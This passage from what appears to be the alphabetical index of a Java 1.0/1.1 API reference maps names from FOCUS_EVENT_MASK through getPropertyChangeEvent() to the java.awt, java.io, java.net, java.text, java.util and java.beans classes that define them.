java.io.BufferedOutputStream (JDK 1.0), java.io.BufferedWriter (JDK 1.1), java.io.CharArrayWriter (JDK 1.1), java.io.DataOutputStream (JDK 1.0), java.io.FilterOutputStream (JDK 1.0), java.io.FilterWriter (JDK 1.1), java.awt.Image (JDK 1.0), java.io.ObjectOutput (JDK 1.1), java.io.ObjectOutputStream (JDK 1.1), java.io.OutputStream (JDK 1.0), java.io.OutputStreamWriter (JDK 1.1), java.io.PipedOutputStream (JDK 1.0), java.io.PipedWriter (JDK 1.1), java.io.PrintStream (JDK 1.0), java.io.PrintWriter (JDK 1.1), java.io.StringWriter (JDK 1.1), java.io.Writer (JDK 1.1)

FOCUS_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

FOCUS_FIRST

java.awt.event.FocusEvent (JDK 1.1)

FOCUS_GAINED

java.awt.event.FocusEvent (JDK 1.1)

FOCUS_LAST

java.awt.event.FocusEvent (JDK 1.1)

FOCUS_LOST

java.awt.event.FocusEvent (JDK 1.1)

FocusAdapter

The java.awt.event Package

FocusEvent

The java.awt.event Package

focusGained()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.FocusAdapter (JDK 1.1), java.awt.event.FocusListener (JDK 1.1)

FocusListener

The java.awt.event Package

focusLost()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.FocusAdapter (JDK 1.1), java.awt.event.FocusListener (JDK 1.1)

following()

java.text.BreakIterator (JDK 1.1)

font

java.awt.FontMetrics (JDK 1.0)

Font

The java.awt Package

FontMetrics

The java.awt Package

FontPeer

The java.awt.peer Package

forClass()

java.io.ObjectStreamClass (JDK 1.1)

forDigit()

java.lang.Character (JDK 1.0)

Format

The java.text Package

FORMAT

java.lang.Character (JDK 1.0)

format()

java.text.ChoiceFormat (JDK 1.1), java.text.DateFormat (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.Format (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1)

forName()

java.lang.Class (JDK 1.0)

FRACTION_FIELD

java.text.NumberFormat (JDK 1.1)

Frame

The java.awt Package

FRAMEBITS

java.awt.image.ImageObserver (JDK 1.0)

FramePeer

The java.awt.peer Package

FRANCE

java.util.Locale (JDK 1.1)

freeMemory()

java.lang.Runtime (JDK 1.0)

FRENCH

java.util.Locale (JDK 1.1)

FRIDAY

java.util.Calendar (JDK 1.1)

FULL

java.text.DateFormat (JDK 1.1)

FULL_DECOMPOSITION

java.text.Collator (JDK 1.1)

G

gc()

java.lang.Runtime (JDK 1.0), java.lang.System (JDK 1.0)

gcd()

java.math.BigInteger (JDK 1.1)

GERMAN

java.util.Locale (JDK 1.1)

GERMANY

java.util.Locale (JDK 1.1)

get()

java.lang.reflect.Array (JDK 1.1), java.util.BitSet (JDK 1.0), java.util.Calendar (JDK 1.1), java.util.Dictionary (JDK 1.0), java.lang.reflect.Field (JDK 1.1), java.util.Hashtable (JDK 1.0)

getAbsolutePath()

java.io.File (JDK 1.0)

getActionCommand()

java.awt.event.ActionEvent (JDK 1.1), java.awt.Button (JDK 1.0), java.awt.MenuItem (JDK 1.0)

getAdditionalBeanInfo()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getAddListenerMethod()

java.beans.EventSetDescriptor (JDK 1.1)

getAddress()

java.net.DatagramPacket (JDK 1.0), java.net.InetAddress (JDK 1.0)

getAdjustable()

java.awt.event.AdjustmentEvent (JDK 1.1)

getAdjustmentType()

java.awt.event.AdjustmentEvent (JDK 1.1)

getAdler()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1)

getAlignment()

java.awt.FlowLayout (JDK 1.0), java.awt.Label (JDK 1.0)

getAlignmentX()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

getAlignmentY()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

getAllByName()

java.net.InetAddress (JDK 1.0)

getAllowUserInteraction()

java.net.URLConnection (JDK 1.0)

getAlpha()

java.awt.image.ColorModel (JDK 1.0), java.awt.image.DirectColorModel (JDK 1.0), java.awt.image.IndexColorModel (JDK 1.0)

getAlphaMask()

java.awt.image.DirectColorModel (JDK 1.0)

getAlphas()

java.awt.image.IndexColorModel (JDK 1.0)

getAmPmStrings()

java.text.DateFormatSymbols (JDK 1.1)

getApplet()

java.applet.AppletContext (JDK 1.0)

getAppletContext()

java.applet.Applet (JDK 1.0), java.applet.AppletStub (JDK 1.0)

getAppletInfo()

java.applet.Applet (JDK 1.0)

getApplets()

java.applet.AppletContext (JDK 1.0)

getAscent()

java.awt.FontMetrics (JDK 1.0)

getAsText()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

getAudioClip()

java.applet.Applet (JDK 1.0), java.applet.AppletContext (JDK 1.0)

getAvailableIDs()

java.util.TimeZone (JDK 1.1)

getAvailableLocales()

java.text.BreakIterator (JDK 1.1), java.util.Calendar (JDK 1.1), java.text.Collator (JDK 1.1), java.text.DateFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1)

getBackground()

java.awt.Component (JDK 1.0)

getBeanClass()

java.beans.BeanDescriptor (JDK 1.1)

getBeanDescriptor()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getBeanInfo()

java.beans.Introspector (JDK 1.1)

getBeanInfoSearchPath()

java.beans.Introspector (JDK 1.1)

getBeginIndex()

java.text.CharacterIterator (JDK 1.1), java.text.FieldPosition (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

getBlockIncrement()

java.awt.Adjustable (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getBlue()

java.awt.Color (JDK 1.0), java.awt.image.ColorModel (JDK 1.0), java.awt.image.DirectColorModel (JDK 1.0), java.awt.image.IndexColorModel (JDK 1.0)

getBlueMask()

java.awt.image.DirectColorModel (JDK 1.0)

getBlues()

java.awt.image.IndexColorModel (JDK 1.0)

getBoolean()

java.lang.reflect.Array (JDK 1.1), java.lang.Boolean (JDK 1.0), java.lang.reflect.Field (JDK 1.1)

getBoundingBox()

java.awt.Polygon (JDK 1.0)

getBounds()

java.awt.Component (JDK 1.0), java.awt.Polygon (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.awt.Shape (JDK 1.1)

getBuffer()

java.io.StringWriter (JDK 1.1)

getBundle()

java.util.ResourceBundle (JDK 1.1)

getByName()

java.net.InetAddress (JDK 1.0)

getByte()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getBytes()

java.lang.String (JDK 1.0)

getCalendar()

java.text.DateFormat (JDK 1.1)

getCanonicalPath()

java.io.File (JDK 1.0)

getCaretPosition()

java.awt.TextComponent (JDK 1.0), java.awt.peer.TextComponentPeer (JDK 1.0)

getChar()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getCharacterInstance()

java.text.BreakIterator (JDK 1.1)

getChars()

java.lang.String (JDK 1.0), java.lang.StringBuffer (JDK 1.0)

getCheckboxGroup()

java.awt.Checkbox (JDK 1.0)

getChecksum()

java.util.zip.CheckedInputStream (JDK 1.1), java.util.zip.CheckedOutputStream (JDK 1.1)

getChild()

java.awt.event.ContainerEvent (JDK 1.1)

getClass()

java.lang.Object (JDK 1.0)

getClassContext()

java.lang.SecurityManager (JDK 1.0)

getClasses()

java.lang.Class (JDK 1.0)

getClassLoader()

java.lang.Class (JDK 1.0)

getClassName()

java.util.MissingResourceException (JDK 1.1)

getClickCount()

java.awt.event.MouseEvent (JDK 1.1)

getClip()

java.awt.Graphics (JDK 1.0)

getClipBounds()

java.awt.Graphics (JDK 1.0)

getClipRect()

java.awt.Graphics (JDK 1.0)

getCodeBase()

java.applet.Applet (JDK 1.0), java.applet.AppletStub (JDK 1.0)

getCollationElementIterator()

java.text.RuleBasedCollator (JDK 1.1)

getCollationKey()

java.text.Collator (JDK 1.1), java.text.RuleBasedCollator (JDK 1.1)

getColor()

java.awt.Color (JDK 1.0), java.awt.Graphics (JDK 1.0)

getColorModel()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.image.PixelGrabber (JDK 1.0), java.awt.Toolkit (JDK 1.0)

getColumns()

java.awt.GridLayout (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.TextField (JDK 1.0)

getComment()

java.util.zip.ZipEntry (JDK 1.1)

getComponent()

java.awt.event.ComponentEvent (JDK 1.1), java.awt.Container (JDK 1.0)

getComponentAt()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

getComponentCount()

java.awt.Container (JDK 1.0)

getComponents()

java.awt.Container (JDK 1.0)

getComponentType()

java.lang.Class (JDK 1.0)

getCompressedSize()

java.util.zip.ZipEntry (JDK 1.1)

getConstraints()

java.awt.GridBagLayout (JDK 1.0)

getConstructor()

java.lang.Class (JDK 1.0)

getConstructors()

java.lang.Class (JDK 1.0)

getContainer()

java.awt.event.ContainerEvent (JDK 1.1)

getContent()

java.net.ContentHandler (JDK 1.0), java.net.URL (JDK 1.0), java.net.URLConnection (JDK 1.0)

getContentEncoding()

java.net.URLConnection (JDK 1.0)

getContentLength()

java.net.URLConnection (JDK 1.0)

getContents()

java.awt.datatransfer.Clipboard (JDK 1.1), java.util.ListResourceBundle (JDK 1.1)

getContentType()

java.net.URLConnection (JDK 1.0)

getContentTypeFor()

java.net.FileNameMap (JDK 1.1)

getCountry()

java.util.Locale (JDK 1.1)

getCrc()

java.util.zip.ZipEntry (JDK 1.1)

getCurrencyInstance()

java.text.NumberFormat (JDK 1.1)

getCurrent()

java.awt.CheckboxGroup (JDK 1.0)

getCursor()

java.awt.Component (JDK 1.0)

getCursorType()

java.awt.Frame (JDK 1.0)

getCustomEditor()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

getCustomizerClass()

java.beans.BeanDescriptor (JDK 1.1)

getData()

java.net.DatagramPacket (JDK 1.0)

getDate()

java.util.Date (JDK 1.0), java.net.URLConnection (JDK 1.0)

getDateFormatSymbols()

java.text.SimpleDateFormat (JDK 1.1)

getDateInstance()

java.text.DateFormat (JDK 1.1)

getDateTimeInstance()

java.text.DateFormat (JDK 1.1)

getDay()

java.util.Date (JDK 1.0)

getDecimalFormatSymbols()

java.text.DecimalFormat (JDK 1.1)

getDecimalSeparator()

java.text.DecimalFormatSymbols (JDK 1.1)

getDeclaredClasses()

java.lang.Class (JDK 1.0)

getDeclaredConstructor()

java.lang.Class (JDK 1.0)

getDeclaredConstructors()

java.lang.Class (JDK 1.0)

getDeclaredField()

java.lang.Class (JDK 1.0)

getDeclaredFields()

java.lang.Class (JDK 1.0)

getDeclaredMethod()

java.lang.Class (JDK 1.0)

getDeclaredMethods()

java.lang.Class (JDK 1.0)

getDeclaringClass()

java.lang.Class (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1), java.lang.reflect.Field (JDK 1.1), java.lang.reflect.Member (JDK 1.1), java.lang.reflect.Method (JDK 1.1)

getDecomposition()

java.text.Collator (JDK 1.1)

getDefault()

java.util.Locale (JDK 1.1), java.util.TimeZone (JDK 1.1)

getDefaultAllowUserInteraction()

java.net.URLConnection (JDK 1.0)

getDefaultCursor()

java.awt.Cursor (JDK 1.1)

getDefaultEventIndex()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getDefaultPropertyIndex()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getDefaultRequestProperty()

java.net.URLConnection (JDK 1.0)

getDefaultToolkit()

java.awt.Toolkit (JDK 1.0)

getDefaultUseCaches()

java.net.URLConnection (JDK 1.0)

getDescent()

java.awt.FontMetrics (JDK 1.0)

getDigit()

java.text.DecimalFormatSymbols (JDK 1.1)

getDirectory()

java.awt.FileDialog (JDK 1.0)

getDisplayCountry()

java.util.Locale (JDK 1.1)

getDisplayLanguage()

java.util.Locale (JDK 1.1)

getDisplayName()

java.beans.FeatureDescriptor (JDK 1.1), java.util.Locale (JDK 1.1)

getDisplayVariant()

java.util.Locale (JDK 1.1)

getDocumentBase()

java.applet.Applet (JDK 1.0), java.applet.AppletStub (JDK 1.0)

getDoInput()

java.net.URLConnection (JDK 1.0)

getDoOutput()

java.net.URLConnection (JDK 1.0)

getDouble()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getEchoChar()

java.awt.TextField (JDK 1.0)

getEditorSearchPath()

java.beans.PropertyEditorManager (JDK 1.1)

getEncoding()

java.io.InputStreamReader (JDK 1.1), java.io.OutputStreamWriter (JDK 1.1)

getEndIndex()

java.text.CharacterIterator (JDK 1.1), java.text.FieldPosition (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

getEntry()

java.util.zip.ZipFile (JDK 1.1)

getenv()

java.lang.System (JDK 1.0)

getEras()

java.text.DateFormatSymbols (JDK 1.1)

getErrorOffset()

java.text.ParseException (JDK 1.1)

getErrorsAny()

java.awt.MediaTracker (JDK 1.0)

getErrorsID()

java.awt.MediaTracker (JDK 1.0)

getErrorStream()

java.lang.Process (JDK 1.0)

getEventSetDescriptors()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getException()

java.lang.ExceptionInInitializerError (JDK 1.1)

getExceptionTypes()

java.lang.reflect.Constructor (JDK 1.1), java.lang.reflect.Method (JDK 1.1)

getExpiration()

java.net.URLConnection (JDK 1.0)

getExtra()

java.util.zip.ZipEntry (JDK 1.1)

getFamily()

java.awt.Font (JDK 1.0)

getFD()

java.io.FileInputStream (JDK 1.0), java.io.FileOutputStream (JDK 1.0), java.io.RandomAccessFile (JDK 1.0)

getField()

java.lang.Class (JDK 1.0), java.text.FieldPosition (JDK 1.1)

getFields()

java.lang.Class (JDK 1.0)

getFile()

java.awt.FileDialog (JDK 1.0), java.net.URL (JDK 1.0)

getFileDescriptor()

java.net.DatagramSocketImpl (JDK 1.1), java.net.SocketImpl (JDK 1.0)

getFilenameFilter()

java.awt.FileDialog (JDK 1.0)

getFilePointer()

java.io.RandomAccessFile (JDK 1.0)

getFilterInstance()

java.awt.image.ImageFilter (JDK 1.0)

getFirstDayOfWeek()

java.util.Calendar (JDK 1.1)

getFloat()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getFocusOwner()

java.awt.Window (JDK 1.0)

getFollowRedirects()

java.net.HttpURLConnection (JDK 1.1)

getFont()

java.awt.Component (JDK 1.0), java.awt.Font (JDK 1.0), java.awt.FontMetrics (JDK 1.0), java.awt.Graphics (JDK 1.0), java.awt.MenuComponent (JDK 1.0), java.awt.MenuContainer (JDK 1.0)

getFontList()

java.awt.Toolkit (JDK 1.0)

getFontMetrics()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Graphics (JDK 1.0), java.awt.Toolkit (JDK 1.0)

getFontPeer()

java.awt.Toolkit (JDK 1.0)

getForeground()

java.awt.Component (JDK 1.0)

getFormats()

java.text.ChoiceFormat (JDK 1.1), java.text.MessageFormat (JDK 1.1)

getGraphics()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Image (JDK 1.0), java.awt.PrintJob (JDK 1.1)

getGreatestMinimum()

java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1)

getGreen()

java.awt.Color (JDK 1.0), java.awt.image.ColorModel (JDK 1.0), java.awt.image.DirectColorModel (JDK 1.0), java.awt.image.IndexColorModel (JDK 1.0)

getGreenMask()

java.awt.image.DirectColorModel (JDK 1.0)

getGreens()

java.awt.image.IndexColorModel (JDK 1.0)

getGregorianChange()

java.util.GregorianCalendar (JDK 1.1)

getGroupingSeparator()

java.text.DecimalFormatSymbols (JDK 1.1)

getGroupingSize()

java.text.DecimalFormat (JDK 1.1)

getHAdjustable()

java.awt.ScrollPane (JDK 1.1)

getHeaderField()

java.net.URLConnection (JDK 1.0)

getHeaderFieldDate()

java.net.URLConnection (JDK 1.0)

getHeaderFieldInt()

java.net.URLConnection (JDK 1.0)

getHeaderFieldKey()

java.net.URLConnection (JDK 1.0)

getHeight()

java.awt.FontMetrics (JDK 1.0), java.awt.Image (JDK 1.0), java.awt.image.PixelGrabber (JDK 1.0)

getHelpMenu()

java.awt.MenuBar (JDK 1.0)

getHgap()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0)

getHost()

java.net.URL (JDK 1.0)

getHostAddress()

java.net.InetAddress (JDK 1.0)

getHostName()

java.net.InetAddress (JDK 1.0)

getHours()

java.util.Date (JDK 1.0)

getHSBColor()

java.awt.Color (JDK 1.0)

getHScrollbarHeight()

java.awt.ScrollPane (JDK 1.1), java.awt.peer.ScrollPanePeer (JDK 1.1)

getHumanPresentableName()

java.awt.datatransfer.DataFlavor (JDK 1.1)

getIcon()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getIconImage()

java.awt.Frame (JDK 1.0)

getID()

java.awt.AWTEvent (JDK 1.1), java.util.TimeZone (JDK 1.1)

getIfModifiedSince()

java.net.URLConnection (JDK 1.0)

getImage()

java.applet.Applet (JDK 1.0), java.applet.AppletContext (JDK 1.0), java.awt.Toolkit (JDK 1.0)

getInCheck()

java.lang.SecurityManager (JDK 1.0)

getIndex()

java.text.CharacterIterator (JDK 1.1), java.text.ParsePosition (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

getIndexedPropertyType()

java.beans.IndexedPropertyDescriptor (JDK 1.1)

getIndexedReadMethod()

java.beans.IndexedPropertyDescriptor (JDK 1.1)

getIndexedWriteMethod()

java.beans.IndexedPropertyDescriptor (JDK 1.1)

getInetAddress()

java.net.ServerSocket (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0)

getInfinity()

java.text.DecimalFormatSymbols (JDK 1.1)

getInputStream()

java.lang.Process (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0), java.net.URLConnection (JDK 1.0), java.util.zip.ZipFile (JDK 1.1)

getInsets()

java.awt.Container (JDK 1.0), java.awt.peer.ContainerPeer (JDK 1.0)

getInstance()

java.util.Calendar (JDK 1.1), java.text.Collator (JDK 1.1), java.text.DateFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1)

getInstanceOf()

java.beans.Beans (JDK 1.1)

getInt()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getInteger()

java.lang.Integer (JDK 1.0)

getInterface()

java.net.MulticastSocket (JDK 1.1)

getInterfaces()

java.lang.Class (JDK 1.0)

getISO3Country()

java.util.Locale (JDK 1.1)

getISO3Language()

java.util.Locale (JDK 1.1)

getItem()

java.awt.Choice (JDK 1.0), java.awt.event.ItemEvent (JDK 1.1), java.awt.List (JDK 1.0), java.awt.Menu (JDK 1.0)

getItemCount()

java.awt.Choice (JDK 1.0), java.awt.List (JDK 1.0), java.awt.Menu (JDK 1.0)

getItems()

java.awt.List (JDK 1.0)

getItemSelectable()

java.awt.event.ItemEvent (JDK 1.1)

getJavaInitializationString()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

getKey()

java.awt.MenuShortcut (JDK 1.1), java.util.MissingResourceException (JDK 1.1)

getKeyChar()

java.awt.event.KeyEvent (JDK 1.1)

getKeyCode()

java.awt.event.KeyEvent (JDK 1.1)

getKeyModifiersText()

java.awt.event.KeyEvent (JDK 1.1)

getKeys()

java.util.ListResourceBundle (JDK 1.1), java.util.PropertyResourceBundle (JDK 1.1), java.util.ResourceBundle (JDK 1.1)

getKeyText()

java.awt.event.KeyEvent (JDK 1.1)

getLabel()

java.awt.Button (JDK 1.0), java.awt.Checkbox (JDK 1.0), java.awt.MenuItem (JDK 1.0)

getLanguage()

java.util.Locale (JDK 1.1)

getLastModified()

java.net.URLConnection (JDK 1.0)

getLayout()

java.awt.Container (JDK 1.0)

getLayoutAlignmentX()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.LayoutManager2 (JDK 1.1)

getLayoutAlignmentY()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.LayoutManager2 (JDK 1.1)

getLayoutDimensions()

java.awt.GridBagLayout (JDK 1.0)

GetLayoutInfo()

java.awt.GridBagLayout (JDK 1.0)

getLayoutOrigin()

java.awt.GridBagLayout (JDK 1.0)

getLayoutWeights()

java.awt.GridBagLayout (JDK 1.0)

getLeading()

java.awt.FontMetrics (JDK 1.0)

getLeastMaximum()

java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1)

getLength()

java.lang.reflect.Array (JDK 1.1), java.net.DatagramPacket (JDK 1.0)

getLimits()

java.text.ChoiceFormat (JDK 1.1)

getLineIncrement()

java.awt.Scrollbar (JDK 1.0)

getLineInstance()

java.text.BreakIterator (JDK 1.1)

getLineNumber()

java.io.LineNumberInputStream (JDK 1.0; Deprecated.), java.io.LineNumberReader (JDK 1.1)

getListenerMethodDescriptors()

java.beans.EventSetDescriptor (JDK 1.1)

getListenerMethods()

java.beans.EventSetDescriptor (JDK 1.1)

getListenerType()

java.beans.EventSetDescriptor (JDK 1.1)

getLocalAddress()

java.net.DatagramSocket (JDK 1.0), java.net.Socket (JDK 1.0)

getLocale()

java.applet.Applet (JDK 1.0), java.awt.Component (JDK 1.0), java.text.MessageFormat (JDK 1.1), java.awt.Window (JDK 1.0)

getLocalHost()

java.net.InetAddress (JDK 1.0)

getLocalizedInputStream()

java.lang.Runtime (JDK 1.0)

getLocalizedMessage()

java.lang.Throwable (JDK 1.0)

getLocalizedOutputStream()

java.lang.Runtime (JDK 1.0)

getLocalPatternChars()

java.text.DateFormatSymbols (JDK 1.1)

getLocalPort()

java.net.DatagramSocket (JDK 1.0), java.net.DatagramSocketImpl (JDK 1.1), java.net.ServerSocket (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0)

getLocation()

java.awt.Component (JDK 1.0), java.awt.Point (JDK 1.0), java.awt.Rectangle (JDK 1.0)

getLocationOnScreen()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0)

getLong()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1), java.lang.Long (JDK 1.0)

getLowestSetBit()

java.math.BigInteger (JDK 1.1)

getMapSize()

java.awt.image.IndexColorModel (JDK 1.0)

getMaxAdvance()

java.awt.FontMetrics (JDK 1.0)

getMaxAscent()

java.awt.FontMetrics (JDK 1.0)

getMaxDecent()

java.awt.FontMetrics (JDK 1.0)

getMaxDescent()

java.awt.FontMetrics (JDK 1.0)

getMaximum()

java.awt.Adjustable (JDK 1.1), java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getMaximumFractionDigits()

java.text.NumberFormat (JDK 1.1)

getMaximumIntegerDigits()

java.text.NumberFormat (JDK 1.1)

getMaximumSize()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

getMaxPriority()

java.lang.ThreadGroup (JDK 1.0)

getMenu()

java.awt.MenuBar (JDK 1.0), java.util.ResourceBundle (JDK 1.1)

getMenuBar()

java.awt.Frame (JDK 1.0), java.util.ResourceBundle (JDK 1.1)

getMenuCount()

java.awt.MenuBar (JDK 1.0)

getMenuShortcutKeyMask()

java.awt.Toolkit (JDK 1.0)

getMessage()

java.io.InvalidClassException (JDK 1.1), java.lang.Throwable (JDK 1.0), java.io.WriteAbortedException (JDK 1.1)

getMethod()

java.lang.Class (JDK 1.0), java.beans.MethodDescriptor (JDK 1.1), java.util.zip.ZipEntry (JDK 1.1)

getMethodDescriptors()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getMethods()

java.lang.Class (JDK 1.0)

getMimeType()

java.awt.datatransfer.DataFlavor (JDK 1.1)

getMinimalDaysInFirstWeek()

java.util.Calendar (JDK 1.1)

getMinimum()

java.awt.Adjustable (JDK 1.1), java.util.Calendar (JDK 1.1), java.util.GregorianCalendar (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getMinimumFractionDigits()

java.text.NumberFormat (JDK 1.1)

getMinimumIntegerDigits()

java.text.NumberFormat (JDK 1.1)

getMinimumSize()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.peer.TextFieldPeer (JDK 1.0)

GetMinSize()

java.awt.GridBagLayout (JDK 1.0)

getMinusSign()

java.text.DecimalFormatSymbols (JDK 1.1)

getMinutes()

java.util.Date (JDK 1.0)

getMode()

java.awt.FileDialog (JDK 1.0)

getModifiers()

java.awt.event.ActionEvent (JDK 1.1), java.lang.Class (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1), java.lang.reflect.Field (JDK 1.1), java.awt.event.InputEvent (JDK 1.1), java.lang.reflect.Member (JDK 1.1), java.lang.reflect.Method (JDK 1.1)

getMonth()

java.util.Date (JDK 1.0)

getMonths()

java.text.DateFormatSymbols (JDK 1.1)

getMultiplier()

java.text.DecimalFormat (JDK 1.1)

getName()

java.lang.Class (JDK 1.0), java.awt.datatransfer.Clipboard (JDK 1.1), java.awt.Component (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1), java.beans.FeatureDescriptor (JDK 1.1), java.lang.reflect.Field (JDK 1.1), java.io.File (JDK 1.0), java.awt.Font (JDK 1.0), java.lang.reflect.Member (JDK 1.1), java.awt.MenuComponent (JDK 1.0), java.lang.reflect.Method (JDK 1.1), java.io.ObjectStreamClass (JDK 1.1), java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0), java.util.zip.ZipEntry (JDK 1.1), java.util.zip.ZipFile (JDK 1.1)

getNaN()

java.text.DecimalFormatSymbols (JDK 1.1)

getNativeContainer()

java.awt.Toolkit (JDK 1.0)

getNegativePrefix()

java.text.DecimalFormat (JDK 1.1)

getNegativeSuffix()

java.text.DecimalFormat (JDK 1.1)

getNewValue()

java.beans.PropertyChangeEvent (JDK 1.1)

getNextEntry()

java.util.zip.ZipInputStream (JDK 1.1)

getNextEvent()

java.awt.EventQueue (JDK 1.1)

getNumberFormat()

java.text.DateFormat (JDK 1.1)

getNumberInstance()

java.text.NumberFormat (JDK 1.1)

getNumericValue()

java.lang.Character (JDK 1.0)

getObject()

java.util.ResourceBundle (JDK 1.1)

getOffset()

java.util.SimpleTimeZone (JDK 1.1), java.util.TimeZone (JDK 1.1)

getOldValue()

java.beans.PropertyChangeEvent (JDK 1.1)

getOption()

java.net.DatagramSocketImpl (JDK 1.1), java.net.SocketImpl (JDK 1.0)

getOrientation()

java.awt.Adjustable (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getOutputStream()

java.lang.Process (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0), java.net.URLConnection (JDK 1.0)

getPageDimension()

java.awt.PrintJob (JDK 1.1)

getPageIncrement()

java.awt.Scrollbar (JDK 1.0)

getPageResolution()

java.awt.PrintJob (JDK 1.1)

getParameter()

java.applet.Applet (JDK 1.0), java.applet.AppletStub (JDK 1.0)

getParameterDescriptors()

java.beans.MethodDescriptor (JDK 1.1)

getParameterInfo()

java.applet.Applet (JDK 1.0)

getParameterTypes()

java.lang.reflect.Constructor (JDK 1.1), java.lang.reflect.Method (JDK 1.1)

getParent()

java.awt.Component (JDK 1.0), java.io.File (JDK 1.0), java.awt.MenuComponent (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

getPath()

java.io.File (JDK 1.0)

getPatternSeparator()

java.text.DecimalFormatSymbols (JDK 1.1)

getPeer()

java.awt.Component (JDK 1.0), java.awt.Font (JDK 1.0), java.awt.MenuComponent (JDK 1.0)

getPercent()

java.text.DecimalFormatSymbols (JDK 1.1)

getPercentInstance()

java.text.NumberFormat (JDK 1.1)

getPerMill()

java.text.DecimalFormatSymbols (JDK 1.1)

getPixels()

java.awt.image.PixelGrabber (JDK 1.0)

getPixelSize()

java.awt.image.ColorModel (JDK 1.0)

getPoint()

java.awt.event.MouseEvent (JDK 1.1)

getPort()

java.net.DatagramPacket (JDK 1.0), java.net.Socket (JDK 1.0), java.net.SocketImpl (JDK 1.0), java.net.URL (JDK 1.0)

getPositivePrefix()

java.text.DecimalFormat (JDK 1.1)

getPositiveSuffix()

java.text.DecimalFormat (JDK 1.1)

getPredefinedCursor()

java.awt.Cursor (JDK 1.1)

getPreferredSize()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.peer.TextFieldPeer (JDK 1.0)

getPrintJob()

java.awt.PrintGraphics (JDK 1.1), java.awt.Toolkit (JDK 1.0)

getPriority()

java.lang.Thread (JDK 1.0)

getPropagationId()

java.beans.PropertyChangeEvent (JDK 1.1)

getProperties()

java.lang.System (JDK 1.0)

getProperty()

java.awt.Image (JDK 1.0), java.util.Properties (JDK 1.0), java.lang.System (JDK 1.0), java.awt.Toolkit (JDK 1.0)

getPropertyChangeEvent()

